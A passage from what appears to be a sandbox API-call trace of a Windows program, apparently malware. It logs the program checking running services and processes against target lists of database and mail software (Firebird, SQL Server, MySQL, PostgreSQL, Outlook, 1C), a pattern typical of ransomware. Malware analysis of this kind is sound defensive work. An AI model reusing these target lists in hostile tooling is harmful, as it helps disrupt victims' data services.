(lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0040.244] lstrlenW (lpString="LanmanWorkstation") returned 17 [0040.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0040.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0040.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0040.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0040.244] lstrlenW (lpString="lmhosts") returned 7 [0040.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0040.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0040.244] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0040.244] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0040.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0040.244] lstrlenW (lpString="MMCSS") returned 5 [0040.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0040.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0040.244] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0040.244] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0040.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0040.244] lstrlenW (lpString="MpsSvc") returned 6 [0040.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0040.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0040.244] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0040.244] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0040.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0040.244] lstrlenW (lpString="Netman") returned 6 [0040.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0040.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0040.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0040.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0040.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0040.245] lstrlenW (lpString="netprofm") returned 8 [0040.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0040.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0040.245] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0040.245] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0040.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0040.245] lstrlenW (lpString="NlaSvc") returned 6 [0040.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0040.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0040.245] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0040.245] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0040.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0040.245] lstrlenW (lpString="nsi") returned 3 [0040.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0040.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0040.245] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0040.245] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0040.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0040.245] lstrlenW (lpString="PcaSvc") returned 6 [0040.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0040.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0040.245] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0040.245] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0040.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0040.245] lstrlenW (lpString="PlugPlay") returned 8 [0040.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0040.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0040.245] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0040.245] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0040.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0040.246] lstrlenW (lpString="Power") returned 5 [0040.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0040.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0040.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0040.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0040.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0040.246] lstrlenW (lpString="ProfSvc") returned 7 [0040.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0040.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0040.246] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0040.246] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0040.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0040.246] lstrlenW (lpString="RpcEptMapper") returned 12 [0040.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0040.246] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0040.246] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0040.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0040.246] lstrlenW (lpString="RpcSs") returned 5 [0040.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0040.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0040.246] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0040.246] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0040.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0040.246] lstrlenW (lpString="SamSs") returned 5 [0040.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0040.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0040.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0040.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0040.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0040.246] lstrlenW (lpString="Schedule") returned 8 [0040.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0040.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0040.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0040.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0040.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0040.247] lstrlenW (lpString="SENS") returned 4 [0040.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0040.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0040.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0040.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0040.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0040.247] lstrlenW (lpString="ShellHWDetection") returned 16 [0040.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0040.247] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0040.247] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0040.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0040.247] lstrlenW (lpString="Spooler") returned 7 [0040.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0040.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0040.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0040.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0040.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0040.247] lstrlenW (lpString="SysMain") returned 7 [0040.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0040.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0040.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0040.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0040.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0040.247] lstrlenW (lpString="Themes") returned 6 [0040.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0040.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0040.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0040.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0040.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0040.247] lstrlenW (lpString="TrkWks") returned 6 [0040.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0040.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0040.248] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0040.248] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0040.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0040.248] lstrlenW (lpString="UxSms") returned 5 [0040.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0040.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0040.248] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0040.248] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0040.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0040.248] lstrlenW (lpString="VSS") returned 3 [0040.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0040.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0040.248] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0040.248] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0040.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0040.248] lstrlenW (lpString="WdiServiceHost") returned 14 [0040.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0040.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0040.248] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0040.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0040.248] lstrlenW (lpString="WdiSystemHost") returned 13 [0040.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0040.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0040.248] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0040.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0040.248] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0040.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0040.248] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0040.248] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0040.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0040.249] lstrlenW (lpString="Winmgmt") returned 7 [0040.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0040.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0040.249] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0040.249] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0040.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0040.249] lstrlenW (lpString="WPDBusEnum") returned 10 [0040.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0040.249] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0040.249] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0040.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0040.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0040.249] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0040.251] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0040.252] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0040.252] lstrlenW (lpString="System") returned 6 [0040.252] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0040.252] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0040.253] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0040.253] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0040.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0040.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0040.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0040.253] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0040.253] lstrlenW (lpString="smss.exe") returned 8 [0040.253] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0040.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0040.253] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0040.253] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0040.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0040.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0040.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0040.253] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.254] lstrlenW (lpString="csrss.exe") returned 9 [0040.254] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.254] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0040.254] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0040.254] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0040.254] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0040.254] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0040.254] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0040.254] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0040.254] lstrlenW (lpString="wininit.exe") returned 11 [0040.255] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0040.255] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0040.255] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0040.255] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0040.255] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0040.255] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0040.255] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0040.255] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0040.255] lstrlenW (lpString="csrss.exe") returned 9 [0040.255] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0040.255] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0040.256] lstrlenW (lpString="winlogon.exe") returned 12 [0040.256] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0040.256] lstrlenW (lpString="services.exe") returned 12 [0040.256] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0040.257] lstrlenW (lpString="lsass.exe") returned 9 [0040.257] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0040.257] lstrlenW (lpString="lsm.exe") returned 7 [0040.257] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.258] lstrlenW (lpString="svchost.exe") returned 11 [0040.258] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.258] lstrlenW (lpString="svchost.exe") returned 11 [0040.258] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.259] lstrlenW (lpString="svchost.exe") returned 11 [0040.259] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.259] lstrlenW (lpString="svchost.exe") returned 11 [0040.259] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.260] lstrlenW (lpString="svchost.exe") returned 11 [0040.260] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0040.260] lstrlenW (lpString="audiodg.exe") returned 11 [0040.260] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.261] lstrlenW (lpString="svchost.exe") returned 11 [0040.261] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.261] lstrlenW (lpString="svchost.exe") returned 11 [0040.261] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0040.262] lstrlenW (lpString="dwm.exe") returned 7 [0040.262] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0040.262] lstrlenW (lpString="explorer.exe") returned 12 [0040.262] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0040.263] lstrlenW (lpString="spoolsv.exe") returned 11 [0040.263] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.263] lstrlenW (lpString="taskhost.exe") returned 12 [0040.263] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0040.264] lstrlenW (lpString="svchost.exe") returned 11 [0040.264] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0040.264] lstrlenW (lpString="taskeng.exe") returned 11 [0040.264] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0040.265] lstrlenW (lpString="taskhost.exe") returned 12 [0040.265] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0040.265] lstrlenW (lpString="dear.exe") returned 8 [0040.265] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0040.266] lstrlenW (lpString="b costa.exe") returned 11 [0040.266] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0040.266] lstrlenW (lpString="rc lock.exe") returned 11 [0040.266] Process32NextW (in: hSnapshot=0x1b0, lppe=0x223fd34 | out: 